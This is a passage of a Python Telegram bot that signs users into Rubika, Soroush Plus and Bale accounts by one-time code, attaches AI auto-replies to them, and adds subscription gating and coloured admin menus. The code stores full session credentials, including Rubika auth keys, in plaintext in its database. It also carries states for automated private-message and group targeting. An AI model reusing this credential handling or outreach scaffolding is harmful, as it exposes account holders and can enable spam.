                "شماره در پاسخ سرور سروش برای ورود، ثبت‌شده تشخیص داده نشد "
                "(PhoneNumberUnoccupied). اگر این شماره در سروش حساب دارد، "
                "ورود را دوباره با همان شماره و کد جدید امتحان کنید؛ کدهای قبلی قابل استفاده نیستند."
            )
        if "SessionPasswordNeeded" in msg or "two-step" in msg.lower():
            return False, "برای این حساب احراز هویت دومرحله‌ای فعال است و رمز 2FA لازم است."
        log.error(f"[{uid}] Soroush verify_v3: {e}")
        return False, msg


# Replace only the service entry; original functions remain in the file.
SERVICE_HANDLERS["soroush"] = {
    "send": _wrap_otp_handler("soroush", soroush_send_code_v3),
    "verify": soroush_verify_v3,
}


# ---------- Rubika: use rulog's documented non-interactive OTP + feed Auth/Key into rubpy ----------
async def rubika_send_code_v3(uid: int, phone: str) -> Tuple[bool, Any]:
    local_phone=_trx_phone_98digits(phone)
    try:
        from rulog import Client as RulogClient
    except ImportError:
        return False,"کتابخانه rulog نصب نیست؛ روی سرور اجرا کنید: pip3 install -U rulog"
    try:
        rc=RulogClient(); sent=None; errors=[]
        for platform,stype in (("android",True),("web",False)):
            try:
                sent=rc.sendCode(platform,local_phone,send_type=True) if stype else rc.sendCode(platform,local_phone)
                if isinstance(sent,dict) and sent.get("status")=="OK": break
            except Exception as ex: errors.append(f"{platform}: {ex}"); sent=None
        if not isinstance(sent,dict): return False,"ارسال کد روبیکا ناموفق بود: "+" | ".join(errors)[-700:]
        data=sent.get("data") or {}; ph=data.get("phone_code_hash") or data.get("phoneCodeHash")
        if not ph: return False,f"روبیکا phone_code_hash برنگرداند: {sent}"
        active_clients[uid]={"client":None,"rulog":rc,"service":"rubika","phone":local_phone,"phone_input":phone,"hash":ph,"created_at":time.time(),"connected":False}
        return True,sent
    except Exception as e: log.error(f"[{uid}] Rubika send: {e}"); return False,str(e)

async def rubika_verify_v3(uid:int,code:str)->Tuple[bool,Any]:
    info=active_clients.get(uid)
    if not info or info.get("service")!="rubika" or not info.get("rulog"): return False,"نشست ورود روبیکا پیدا نشد؛ دوباره شماره را وارد کنید."
    try:
        result=await asyncio.to_thread(info["rulog"].signIn,"android",info["phone"],info.get("hash"),str(code).strip())
        if not isinstance(result,dict): return False,f"پاسخ ورود روبیکا نامعتبر بود: {result}"
        data=result.get("data") or result
        auth=result.get("Auth") or result.get("auth") or data.get("Auth") or data.get("auth")
        key=result.get("Key") or result.get("key") or data.get("Key") or data.get("key")
        if not auth or not key: return False,f"ورود روبیکا کامل نشد: {result}"
        try:
            reg_ok = await asyncio.to_thread(info["rulog"].register,platform="android",auths=auth,keys=key)
            if reg_ok is False:
                log.warning("Rubika device registration returned False")
        except Exception as ex: log.warning(f"Rubika register: {ex}")
        from rubpy import Client as RubpyClient
        client=RubpyClient(os.path.join(SESS_DIR,f"rubika_{uid}"),auth=str(auth),private_key=key,phone_number=info["phone"],platform="Android")
        connect=getattr(client,"connect",None)
        if connect:
            x=connect();
            if asyncio.iscoroutine(x): await x
        me=None; gm=getattr(client,"get_me",None)
        if gm:
            me=gm();
            if asyncio.iscoroutine(me): me=await me
        cur=db.execute("INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",(uid,"rubika",info["phone"],json.dumps({"auth":auth,"key":key},ensure_ascii=False),"online",now()))
        aid=cur.lastrowid; active_clients[uid].update({"client":client,"connected":True,"account_id":aid,"auth":auth,"key":key})
        ai_live_clients[(uid,aid)]=client
        if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, aid)):
            _register_ai_handler(client, uid, "rubika", aid)
        log_account_activity(aid,uid,"login","rubika",1); log_event(uid,"ACCOUNT_ADDED","rubika")
        return True,me or result
    except Exception as e: log.error(f"[{uid}] Rubika verify: {e}"); return False,str(e)


SERVICE_HANDLERS["rubika"] = {
    "send": _wrap_otp_handler("rubika", rubika_send_code_v3),
    "verify": rubika_verify_v3,
}


# ---------- Bale: explicitly connect the BaleClient before get_me ----------
async def bale_verify_v3(uid: int, code: str) -> Tuple[bool, Any]:
    info = active_clients.get(uid)
    if not info or info.get("service") != "bale":
        return False, "نشست ورود بله پیدا نشد؛ دوباره شماره را وارد کنید."
    try:
        if info.get("transaction_hash"):
            from bale import auth as bale_auth, BaleClient
            result = bale_auth.validate_code(info["transaction_hash"], str(code).strip())
            if asyncio.iscoroutine(result):
                result = await result
            token = getattr(result, "access_token", None)
            if token is None and isinstance(result, dict):
                token = result.get("access_token") or result.get("accessToken")
            if not token:
                return False, "کد تایید شد اما توکن ورود بله دریافت نشد."
            client = BaleClient(token)
            entered = False
            enter = getattr(client, "__aenter__", None)
            if enter:
                entered_client = enter()
                if asyncio.iscoroutine(entered_client):
                    entered_client = await entered_client
                if entered_client is not None:
                    client = entered_client
                entered = True
            else:
                connect = getattr(client, "connect", None)
                if connect:
                    x = connect()
                    if asyncio.iscoroutine(x):
                        await x
                    entered = True
            get_me = getattr(client, "get_me", None)
            me = get_me() if get_me else None
            if asyncio.iscoroutine(me):
                me = await me
            if me is None:
                return False, "ورود بله انجام شد اما اتصال کلاینت برقرار نشد."
            cur = db.execute(
                "INSERT INTO accounts(user_id,service,phone,session,status,added_at) VALUES(?,?,?,?,?,?)",
                (uid, "bale", info["phone"], str(token), "online", now()))
            account_id = cur.lastrowid
            active_clients[uid] = {"client": client, "service": "bale", "phone": info["phone"],
                                    "connected": True, "account_id": account_id, "token": token,
                                    "entered": entered}
            ai_live_clients[(uid, account_id)] = client
            if db.fetchone("SELECT id FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1", (uid, account_id)):
                _register_ai_handler(client, uid, "bale", account_id)
            log_account_activity(account_id, uid, "login", "bale", 1)
            log_event(uid, "ACCOUNT_ADDED", "bale")
            return True, me
        return await bale_verify_v2(uid, code)
    except Exception as e:
        log.error(f"[{uid}] Bale verify_v3: {e}")
        return False, str(e)


SERVICE_HANDLERS["bale"] = {
    "send": _wrap_otp_handler("bale", bale_send_code_v2),
    "verify": bale_verify_v3,
}


# ---------- Banner storage: intercept photo updates before the legacy text handler ----------
_original_on_msg_v3 = on_msg

async def on_msg(msg):
    from_ = msg.get("from", {}) or {}
    uid = from_.get("id")
    chat_id = msg.get("chat", {}).get("id")
    if uid and is_admin(uid):
        try:
            s = state.get(uid)
            if s and s.get("state") == State.ADD_BANNER_IMAGE:
                lang = (ensure_user(uid, from_.get("username", ""), from_.get("first_name", ""))["lang"] or "fa")
                if msg.get("photo"):
                    photos = msg.get("photo") or []
                    file_id = photos[-1].get("file_id") if photos else None
                    if not file_id:
                        return await bot.send(chat_id, "❌ file_id عکس دریافت نشد؛ دوباره عکس را ارسال کنید.")
                    slot = str(s.get("slot") or "").strip()
                    if slot not in {"main_menu", "ai_panel", "accounts", "subscription", "apk", "admin"}:
                        state.pop(uid)
                        return await bot.send(chat_id, "❌ جایگاه بنر نامعتبر است؛ دوباره از پنل بنر انتخاب کنید.",
                                              reply_markup=admin_banners_menu(lang))
                    db.execute("INSERT OR REPLACE INTO banners(slot,image_file_id,caption,enabled,updated_at) VALUES(?,?,?,?,?)",
                               (slot, file_id, (msg.get("caption") or "")[:1000], 1, now()))
                    saved = db.fetchone("SELECT * FROM banners WHERE slot=?", (slot,))
                    state.pop(uid)
                    ok = bool(saved and saved["image_file_id"] == file_id)
                    return await bot.send(chat_id,
                                          ("✅ **بنر با موفقیت ذخیره و فعال شد.**\n\n"
                                           f"📌 بخش: `{slot}`\n🆔 file_id: `{file_id[:35]}...`\n\n"
                                           "از این به بعد هنگام باز شدن همان پنل، تصویر نمایش داده می‌شود."
                                           if ok else "❌ ذخیره بنر تأیید نشد؛ دوباره امتحان کنید."),
                                          reply_markup=admin_banners_menu(lang))
                if msg.get("document") and str(msg["document"].get("mime_type", "")).startswith("image/"):
                    file_id = msg["document"].get("file_id")
                    slot = str(s.get("slot") or "").strip()
                    db.execute("INSERT OR REPLACE INTO banners(slot,image_file_id,caption,enabled,updated_at) VALUES(?,?,?,?,?)",
                               (slot, file_id, (msg.get("caption") or "")[:1000], 1, now()))
                    state.pop(uid)
                    return await bot.send(chat_id, "✅ تصویر به‌عنوان بنر ذخیره شد.", reply_markup=admin_banners_menu(lang))
                txt = (msg.get("text") or "").strip()
                if txt == "/skip":
                    slot = str(s.get("slot") or "").strip()
                    db.execute("INSERT OR REPLACE INTO banners(slot,image_file_id,caption,enabled,updated_at) VALUES(?,?,?,?,?)",
                               (slot, "", "", 1, now()))
                    state.pop(uid)
                    return await bot.send(chat_id, "✅ جایگاه بنر ثبت شد؛ فعلاً بدون تصویر.", reply_markup=admin_banners_menu(lang))
                return await bot.send(chat_id, "🖼 لطفاً خودِ عکس را به‌صورت Photo بفرستید (یا /skip).")
        except Exception as e:
            log.error(f"banner save: {e}\n{traceback.format_exc(limit=40)}")
            try:
                state.pop(uid)
                if chat_id:
                    await bot.send(chat_id, f"❌ ذخیره بنر با خطا مواجه شد:\n`{e}`\n\nدوباره از پنل بنر شروع کنید.")
            except Exception:
                pass
            return None

    try:
        result = await _original_on_msg_v3(msg)
        # /start is a message, not a callback; make the main-menu banner work here too.
        txt = (msg.get("text") or "").strip()
        if uid and txt.startswith("/start"):
            await _maybe_send_banner(chat_id, uid, "main_menu")
        return result
    except Exception as e:
        log.error(f"final on_msg wrapper: {e}\n{traceback.format_exc(limit=40)}")
        return None


# ---------- Subscription gate: lock every real feature behind an active plan ----------
_TRX_FREE_CALLBACKS = {"menu", "back", "cancel", "check_join", "dash", "prof", "rep"}
_TRX_FREE_PREFIXES = ("sub", "tut", "set")


def _trx_needs_subscription(data: str) -> bool:
    if data == "admin" or data.startswith("adm."):
        return False
    if data in _TRX_FREE_CALLBACKS:
        return False
    if data.startswith(_TRX_FREE_PREFIXES):
        return False
    return True


# ---------- Final callback router: direct routes for previously reported dead buttons ----------
_previous_dispatch_v3 = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    # Hard admin boundary: no non-admin user can open or invoke admin routes.
    if (data == "admin" or data.startswith("adm.")) and not is_admin(uid):
        return await _edit(chat_id, msg_id, "⛔️ **دسترسی ادمین ندارید.**", back_home(lang))

    # [TRX14] Subscription gate — must run before every other user feature route.
    if not is_admin(uid) and _trx_needs_subscription(data) and not get_active_subscription(uid):
        await _maybe_send_banner(chat_id, uid, "subscription")
        return await _edit(chat_id, msg_id,
                            "🔒 **دسترسی محدود است**\n\n"
                            "این بخش فقط برای کاربران با اشتراک فعال در دسترس است.\n"
                            "برای باز شدن همه‌ی دکمه‌های ربات، ابتدا یک اشتراک تهیه کنید:",
                            _sub_kb_v2(lang))

    # User-facing panels that must always have a direct route.
    if data == "prof":
        await _maybe_send_banner(chat_id, uid, "main_menu")
        return await _edit(chat_id, msg_id, _profile_text_v2(uid, u), back_home(lang))
    if data == "sub":
        await _maybe_send_banner(chat_id, uid, "subscription")
        return await _edit(chat_id, msg_id, _sub_text_v2(lang, uid), _sub_kb_v2(lang))
    if data == "ai":
        await _maybe_send_banner(chat_id, uid, "ai_panel")
        return await _edit(chat_id, msg_id, "🤖 **پنل هوش مصنوعی**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nتنظیمات، لحن، دانش محصول، اهداف و آمار از این بخش مدیریت می‌شود.", ai_advanced_menu(lang, uid))
    if data == "acc":
        await _maybe_send_banner(chat_id, uid, "accounts")
        return await _edit(chat_id, msg_id,
                           "📱 **مدیریت حساب‌ها**\n\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nسرویس مورد نظر را انتخاب کنید:",
                           IKB([[('🔵 روبیکا', 'acc.svc:rubika', 'primary')],
                                [('🟢 سروش پلاس', 'acc.svc:soroush', 'success')],
                                [('🟡 بله', 'acc.svc:bale', 'primary')],
                                [(t(lang, 'btn.home'), 'menu', 'primary')]]))
    if data == "admin" and is_admin(uid):
        await _maybe_send_banner(chat_id, uid, "admin")
        return await _edit(chat_id, msg_id, t(lang, "admin.title"), admin_menu(lang))
    if data == "adm.users":
        return await _edit(chat_id, msg_id, "👥 **مدیریت کاربران**\n\nکاربران اخیر و جزئیات هر حساب:", admin_users_menu(lang))
    if data == "adm.users.list":
        text, kb = await _admin_user_list_text(uid)
        return await _edit(chat_id, msg_id, text, kb)
    if data == "adm.banner":
        return await _edit(chat_id, msg_id, "🖼 **مدیریت بنرها**\n\nابتدا بخش موردنظر را انتخاب کنید؛ سپس در پیام بعدی عکس را ارسال کنید.", admin_banners_menu(lang))
    if data.startswith("adm.banner.slot:"):
        slot = data.split(":", 1)[1]
        if slot not in {"main_menu", "ai_panel", "accounts", "subscription", "apk", "admin"}:
            return await bot.answer_cb(cb_id, "جایگاه بنر نامعتبر است.", alert=True)
        state.set(uid, State.ADD_BANNER_IMAGE, slot=slot)
        return await _edit(chat_id, msg_id,
                           f"🖼 **آپلود بنر**\n\nبخش: `{slot}`\n\nحالا عکس را در همین گفت‌وگو ارسال کنید.",
                           IKB([[("❌ لغو", "cancel", "danger")]]))
    if data == "adm.banner.list":
        rows = db.fetchall("SELECT * FROM banners ORDER BY slot")
        lines = ["🖼 **بنرهای ذخیره‌شده**", "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"]
        btns = []
        for r in rows:
            lines.append(f"{'🟢' if r['enabled'] else '🔴'} `{r['slot']}` — {'تصویر دارد' if r['image_file_id'] else 'بدون تصویر'}")
            btns.append([(f"🗑 حذف {r['slot']}", f"adm.banner.del:{r['slot']}", "danger")])
        if not rows:
            lines.append("هنوز بنری ثبت نشده است.")
        btns.append([(t(lang, "btn.back"), "adm.banner", "primary")])
        return await _edit(chat_id, msg_id, "\n".join(lines), IKB(btns))
    if data.startswith("adm.banner.del:"):
        slot = data.split(":", 1)[1]
        db.execute("DELETE FROM banners WHERE slot=?", (slot,))
        return await _edit(chat_id, msg_id, "✅ بنر حذف شد.", admin_banners_menu(lang))
    if data.startswith("adm.user.mg:") or data.startswith("adm.ban:") or data.startswith("adm.unban:") or data.startswith("adm.sub.add"):
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)
    if data.startswith("adm.pricing") or data.startswith("adm.api") or data in {"adm.apis", "adm.force", "adm.broadcast", "adm.stats", "adm.logs", "adm.maint", "adm.maint.toggle"}:
        return await admin_dispatch(cb_id, uid, lang, chat_id, msg_id, data)
    if data == "ai.bindings":
        return await _edit(chat_id,msg_id,_ai_binding_text(uid)+"\n\nپلتفرم را انتخاب کنید:",_ai_platform_kb())
    if data.startswith("ai.bind.plat:"):
        plat=data.split(":",1)[1]; rows=db.fetchall("SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 ORDER BY id DESC",(uid,plat))
        if not rows: return await _edit(chat_id,msg_id,f"❌ هیچ اکانت فعال {plat} پیدا نشد.",IKB([[('📱 حساب‌ها','acc','primary')],[('↩️ بازگشت','ai.bindings','primary')]]))
        btns=[]
        for a in rows:
            b=db.fetchone("SELECT enabled FROM ai_bindings WHERE account_id=?",(a['id'],)); btns.append([(("🟢" if b and b['enabled'] else "⚪")+f" #{a['id']} — {a['phone']}",f"ai.bind.account:{a['id']}","primary")])
        btns.append([('↩️ بازگشت','ai.bindings','primary')]); return await _edit(chat_id,msg_id,f"🔗 **اکانت‌های {plat}**\n\nیکی را انتخاب کنید:",IKB(btns))
    if data.startswith("ai.bind.account:"):
        aid=int(data.split(":")[1]); a=db.fetchone("SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
        if not a: return await _edit(chat_id,msg_id,'❌ اکانت پیدا نشد.',_ai_platform_kb())
        db.execute("INSERT OR IGNORE INTO ai_bindings(user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at) VALUES(?,?,?,?,?,?,?)",(uid,aid,1,1,0,now(),now()))
        info=active_clients.get(uid); client=ai_live_clients.get((uid,aid)) or (info.get('client') if info and info.get('account_id')==aid else None); reg=False
        if client: reg=_register_ai_handler(client,uid,a['service'],aid)
        note='' if reg else '\n⚠️ کلاینت زنده این اکانت در حافظه نیست؛ برای پاسخ خودکار باید اکانت دوباره لاگین شود.'
        return await _edit(chat_id,msg_id,f"✅ **AI روی اکانت انتخاب شد.**\n\n📱 {a['service']}\n🆔 `{aid}`{note}\n\nاول TEST را بزن.",ai_manage_kb(aid))
    if data.startswith("ai.bind.test:"):
        aid=int(data.split(":")[1]); ok,info=await _ai_send_test(uid,aid); return await _edit(chat_id,msg_id,("✅ **" if ok else "❌ **")+str(info)+"**",ai_manage_kb(aid))
    if data.startswith("ai.bind.toggle:"):
        aid=int(data.split(":")[1]); db.execute("UPDATE ai_bindings SET enabled=1-enabled,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,'⚙️ وضعیت AI تغییر کرد.',ai_manage_kb(aid))
    if data.startswith("ai.bind.pv:"):
        aid=int(data.split(":")[1]); db.execute("UPDATE ai_bindings SET auto_reply_pv=1-auto_reply_pv,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,'💬 وضعیت پاسخ PV تغییر کرد.',ai_manage_kb(aid))
    if data.startswith("ai.bind.group:"):
        aid=int(data.split(":")[1]); db.execute("UPDATE ai_bindings SET auto_reply_group=1-auto_reply_group,updated_at=? WHERE account_id=? AND user_id=?",(now(),aid,uid)); return await _edit(chat_id,msg_id,'👥 وضعیت پاسخ گروه تغییر کرد.\n\nارسال انبوه/PV ناخواسته در این نسخه فعال نیست.',ai_manage_kb(aid))
    if data.startswith("ai.bind.del:"):
        aid=int(data.split(":")[1]); db.execute("DELETE FROM ai_bindings WHERE account_id=? AND user_id=?",(aid,uid)); return await _edit(chat_id,msg_id,'🗑 اتصال AI حذف شد.',_ai_platform_kb())
    if data == "rep":
        return await _edit(chat_id,msg_id,_reports_text_v2(uid,lang),back_home(lang))
    return await _previous_dispatch_v3(cb_id, uid, lang, u, chat_id, msg_id, data)


# ---------- Final callback wrapper: acknowledge errors and never crash on one bad button ----------
_previous_on_cb_v3 = on_cb

async def on_cb(cb):
    try:
        return await _previous_on_cb_v3(cb)
    except Exception as e:
        log.error(f"final callback error: {e}\n{traceback.format_exc(limit=40)}")
        cb_id = cb.get("id")
        if cb_id:
            try:
                await bot.answer_cb(cb_id, "⚠️ خطای داخلی این دکمه؛ جزئیات در لاگ ثبت شد.", alert=True)
            except Exception:
                pass


# Final dependency check: useful on cPanel and harmless if already installed.
def _trx_dependency_report():
    names = ["aiohttp", "splusthon", "spluslib", "rulog", "rubpy", "bale"]
    report = []
    for name in names:
        try:
            mod = __import__(name)
            report.append(f"{name}=OK")
        except Exception as e:
            report.append(f"{name}=MISSING:{type(e).__name__}")
    log.info("Dependency report | " + " | ".join(report))

_trx_dependency_report()


# ═══════════════════════════════════════════════════════════════════
#  TRX FINAL PATCH v5 — Fix broken State enum + colored glass buttons
#  This patch fixes the bug where the State enum was accidentally
#  overwritten in PATCH v4, breaking every state-based callback.
#  Also re-enables colored (styled) inline buttons.
# ═══════════════════════════════════════════════════════════════════

# ─── FIX 1: Restore the full State enum ───
# PATCH v4 had accidentally redefined State with only AI_SELECT_ACCOUNT,
# which deleted all the other values (ADD_ACC_PHONE, ADD_BANNER_IMAGE,
# ADD_PRICING_PLAN, ADD_PROVIDER_NAME, ADD_FORCE_CHANNEL, etc).
# Every callback that calls state.set(uid, State.X, ...) was raising
# AttributeError, which was being caught by on_cb and shown to the user
# as "خطا در اجرای این دکمه".
class State(str, Enum):
    NONE              = "none"
    ADD_ACC_PHONE     = "add_acc_phone"
    ADD_ACC_OTP       = "add_acc_otp"
    ADD_ACC_2FA       = "add_acc_2fa"
    ADD_APK           = "add_apk"
    ADD_PROVIDER_NAME = "add_prov_name"
    ADD_PROVIDER_KEY  = "add_prov_key"
    ADD_PROVIDER_URL  = "add_prov_url"
    EDIT_KB           = "edit_kb"
    BROADCAST         = "broadcast"
    ADD_BANNER_SLOT   = "add_banner_slot"
    ADD_BANNER_IMAGE  = "add_banner_image"
    ADD_FORCE_CHANNEL = "add_force_channel"
    ADD_SUB_USER      = "add_sub_user"
    ADD_SUB_AMOUNT    = "add_sub_amount"
    AI_PV_TARGET      = "ai_pv_target"
    AI_PV_MESSAGE     = "ai_pv_message"
    AI_GROUP_LINK     = "ai_group_link"
    AI_GROUP_SPEED    = "ai_group_speed"
    AI_CHANNEL_NAME   = "ai_channel_name"
    AI_CHANNEL_DESC   = "ai_channel_desc"
    ADD_PRICING_PLAN  = "add_pricing_plan"
    AI_SELECT_ACCOUNT = "ai_select_account"

# ─── FIX 2: Ensure banner table has all columns ───
try:
    if db is not None:
        _cols = {r["name"] for r in db.fetchall("PRAGMA table_info(banners)")}
        for _col, _def in {"image_file_id": "TEXT DEFAULT ''",
                            "caption": "TEXT DEFAULT ''",
                            "enabled": "INTEGER DEFAULT 1",
                            "updated_at": "TEXT"}.items():
            if _col not in _cols:
                db.execute(f"ALTER TABLE banners ADD COLUMN {_col} {_def}")
                log.info(f"PATCH v5: added banners.{_col}")
except Exception as _e:
    log.warning(f"PATCH v5 banner schema: {_e}")

# ─── FIX 3: Colored glass buttons (Blue/Red/White/Green) ───
# Telegram Bot API accepts a "style" field on InlineKeyboardButton in
# recent versions. Values: "primary" (blue), "success" (green), "danger" (red).
# White = no style field (default look).
# If Telegram rejects the style field, we fall back to non-colored buttons.

def IKB(rows):
    """
    Build a Telegram inline keyboard.
    Each button can be:
      - [text, callback_data]                    → default (white)
      - [text, callback_data, "primary"]         → blue
      - [text, callback_data, "success"]         → green
      - [text, callback_data, "danger"]          → red
    """
    keyboard = []
    for row in rows:
        kb_row = []
        for item in row:
            if len(item) < 2:
                continue
            text, data = item[0], item[1]
            btn = {"text": str(text), "callback_data": str(data)}
            if len(item) >= 3 and item[2] in ("primary", "success", "danger"):
                btn["style"] = item[2]
            kb_row.append(btn)
        if kb_row:
            keyboard.append(kb_row)
    return {"inline_keyboard": keyboard}


# Fallback wrappers so that if Telegram rejects style, we still send
# the message without colors.
_orig_bot_send_v5 = Bot.send
_orig_bot_edit_v5 = Bot.edit

def _strip_styles(reply_markup):
    if not reply_markup or "inline_keyboard" not in reply_markup:
        return reply_markup
    stripped = {"inline_keyboard": []}
    for row in reply_markup["inline_keyboard"]:
        new_row = []
        for btn in row:
            clean = {"text": btn.get("text", "")}
            if "callback_data" in btn: clean["callback_data"] = btn["callback_data"]
            if "url" in btn: clean["url"] = btn["url"]
            new_row.append(clean)
        stripped["inline_keyboard"].append(new_row)
    return stripped

async def _bot_send_v5(self, chat_id, text, reply_markup=None, parse_mode="Markdown"):
    r = await _orig_bot_send_v5(self, chat_id, text, reply_markup=reply_markup, parse_mode=parse_mode)
    if reply_markup and not r.get("ok"):
        desc = str(r.get("description", "")).lower()
        if "style" in desc or "inline" in desc or "keyboard" in desc or "button" in desc:
            log.warning(f"PATCH v5 send fallback (no style): {r.get('description')}")
            r = await _orig_bot_send_v5(self, chat_id, text,
                                         reply_markup=_strip_styles(reply_markup),
                                         parse_mode=parse_mode)
    return r

async def _bot_edit_v5(self, chat_id, message_id, text, reply_markup=None, parse_mode="Markdown"):
    r = await _orig_bot_edit_v5(self, chat_id, message_id, text, reply_markup=reply_markup, parse_mode=parse_mode)
    if reply_markup is not None and not r.get("ok") and "not modified" not in str(r.get("description","")).lower():
        desc = str(r.get("description", "")).lower()
        if "style" in desc or "inline" in desc or "keyboard" in desc or "button" in desc:
            log.warning(f"PATCH v5 edit fallback (no style): {r.get('description')}")
            r = await _orig_bot_edit_v5(self, chat_id, message_id, text,
                                         reply_markup=_strip_styles(reply_markup),
                                         parse_mode=parse_mode)
    return r

Bot.send = _bot_send_v5
Bot.edit = _bot_edit_v5


# ─── FIX 4: Redesigned main menu with 4-color layout ───
# Blue + Red on top, White + Green below, repeated.
def main_menu_v5(lang, uid):
    rows = [
        [(t(lang, "menu.dashboard"), "dash", "primary"), (t(lang, "menu.profile"), "prof", "danger")],
        [(t(lang, "menu.sub"), "sub"),                    (t(lang, "menu.accounts"), "acc", "success")],
        [(t(lang, "menu.ai"), "ai", "primary"),           (t(lang, "menu.apk"), "apk", "danger")],
        [(t(lang, "menu.reports"), "rep"),                (t(lang, "menu.tutorial"), "tut", "success")],
        [(t(lang, "menu.settings"), "set", "primary")],
    ]
    if is_admin(uid):
        rows[-1].append((t(lang, "menu.admin"), "admin", "danger"))
    return IKB(rows)

main_menu = main_menu_v5


# ─── FIX 5: Redesigned account service picker with colors ───
def _account_service_kb_v5(lang):
    return IKB([
        [("🔵 روبیکا", "acc.svc:rubika", "primary"), ("🔴 سروش پلاس", "acc.svc:soroush", "danger")],
        [("⚪ بله", "acc.svc:bale"),                 ("🟢 بازگشت", "menu", "success")],
    ])

_prev_dispatch_v5 = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    if data == "acc":
        await _maybe_send_banner(chat_id, uid, "accounts")
        return await _edit(chat_id, msg_id,
                           "📱 **مدیریت حساب‌ها**\n\n"
                           "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                           "🔵 سرویس مورد نظر را انتخاب کنید:\n"
                           "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━",
                           _account_service_kb_v5(lang))
    return await _prev_dispatch_v5(cb_id, uid, lang, u, chat_id, msg_id, data)

dispatch_cb = dispatch_cb


# ─── FIX 6: Colored admin menu ───
def admin_menu_v5(lang):
    return IKB([
        [(t(lang, "admin.users"), "adm.users", "primary"),
         (t(lang, "admin.apis"), "adm.apis", "danger")],
        [(t(lang, "admin.banner"), "adm.banner", "primary"),
         (t(lang, "admin.force"), "adm.force", "danger")],
        [(t(lang, "admin.broadcast"), "adm.broadcast", "primary"),
         (t(lang, "admin.sub_setting"), "adm.pricing", "danger")],
        [(t(lang, "admin.stats"), "adm.stats", "primary"),
         (t(lang, "admin.logs"), "adm.logs", "success")],
        [(t(lang, "admin.maint"), "adm.maint", "danger"),
         (t(lang, "btn.home"), "menu", "success")],
    ])

admin_menu = admin_menu_v5


# ─── FIX 7: Colored banner manager menu ───
def admin_banners_menu_v5(lang):
    return IKB([
        [("🏠 بنر منوی اصلی", "adm.banner.slot:main_menu", "primary"),
         ("🤖 بنر پنل AI", "adm.banner.slot:ai_panel", "danger")],
        [("📱 بنر پنل حساب‌ها", "adm.banner.slot:accounts", "primary"),
         ("💳 بنر پنل اشتراک", "adm.banner.slot:subscription", "danger")],
        [("📦 بنر پنل APK", "adm.banner.slot:apk", "primary"),
         ("🛡 بنر پنل ادمین", "adm.banner.slot:admin", "danger")],
        [("📋 لیست و حذف بنرها", "adm.banner.list", "success"),
         (t(lang, "btn.back"), "admin", "primary")],
    ])

admin_banners_menu = admin_banners_menu_v5


# ─── FIX 8: Colored pricing menu ───
def admin_pricing_menu_v5(lang):
    return IKB([
        [("📋 مشاهده همه پلن‌ها", "adm.pricing.list", "primary"),
         ("➕ افزودن پلن جدید", "adm.pricing.add", "danger")],
        [("🗑 حذف پلن", "adm.pricing.del", "danger"),
         (t(lang, "btn.back"), "admin", "primary")],
    ])

admin_pricing_menu = admin_pricing_menu_v5


# ─── FIX 9: Colored AI menu ───
def ai_advanced_menu_v5(lang, uid):
    u = db.fetchone("SELECT * FROM users WHERE user_id=?", (uid,))
    is_on = bool(u and u["ai_enabled"])
    targets = db.fetchone("SELECT COUNT(*) c FROM ai_targets WHERE user_id=?", (uid,))["c"]
    kb = db.fetchone("SELECT value FROM settings WHERE key=?", (f"kb:{uid}",))
    kb_ok = bool(kb and kb["value"].strip())
    bindings = db.fetchone("SELECT COUNT(*) c FROM ai_bindings WHERE user_id=? AND enabled=1", (uid,))["c"]
    st_btn = ("🔴 خاموش کردن AI", "ai.tog", "danger") if is_on else ("🟢 روشن کردن AI", "ai.tog", "success")
    return IKB([
        [st_btn],
        [("🧠 دانش محصول", "ai.kb", "primary"), ("🎭 لحن پاسخ", "ai.tone", "danger")],
        [("📊 آمار دقیق AI", "ai.stats"), ("📣 هدف PV", "ai.pv", "success")],
        [("👥 هدف گروه", "ai.group", "primary"), ("📰 کانال AI", "ai.channel", "danger")],
        [(f"🔗 اتصال AI به اکانت ({bindings})", "ai.bindings", "success")],
        [(f"🎯 اهداف: {targets} | 🧠 دانش: {'آماده' if kb_ok else 'ناقص'}", "ai.info")],
        [(t(lang, "btn.home"), "menu", "primary")],
    ])

ai_advanced_menu = ai_advanced_menu_v5


# ─── FIX 10: Colored API menu ───
def admin_apis_menu_v5(lang):
    return IKB([
        [("📋 لیست APIها", "adm.apis.list", "primary"),
         ("➕ افزودن API", "adm.api.add", "danger")],
        [("🧪 تست همه", "adm.apis.testall", "success"),
         (t(lang, "btn.back"), "admin", "primary")],
    ])

admin_apis_menu = admin_apis_menu_v5


# ─── FIX 11: Colored force-join menu ───
def admin_force_menu_v5(lang):
    return IKB([
        [("📋 لیست کانال‌ها", "adm.force.list", "primary"),
         ("➕ افزودن کانال", "adm.force.add", "danger")],
        [(t(lang, "btn.back"), "admin", "primary")],
    ])

admin_force_menu = admin_force_menu_v5


# ─── FIX 12: Colored user management menu ───
def admin_users_menu_v5(lang):
    return IKB([
        [("📋 لیست کاربران", "adm.users.list", "primary"),
         ("🚫 کاربران مسدود", "adm.users.banned", "danger")],
        [("➕ افزودن اشتراک", "adm.sub.add", "success"),
         (t(lang, "btn.back"), "admin", "primary")],
    ])

admin_users_menu = admin_users_menu_v5


# ─── FIX 13: Colored tutorial menu ───
def tutorial_menu_v5(lang):
    return IKB([
        [("🚀 راه‌اندازی از صفر", "tut:start", "primary"),
         ("📱 مدیریت حساب‌ها", "tut:accounts", "danger")],
        [("🤖 تنظیم کامل AI", "tut:ai", "primary"),
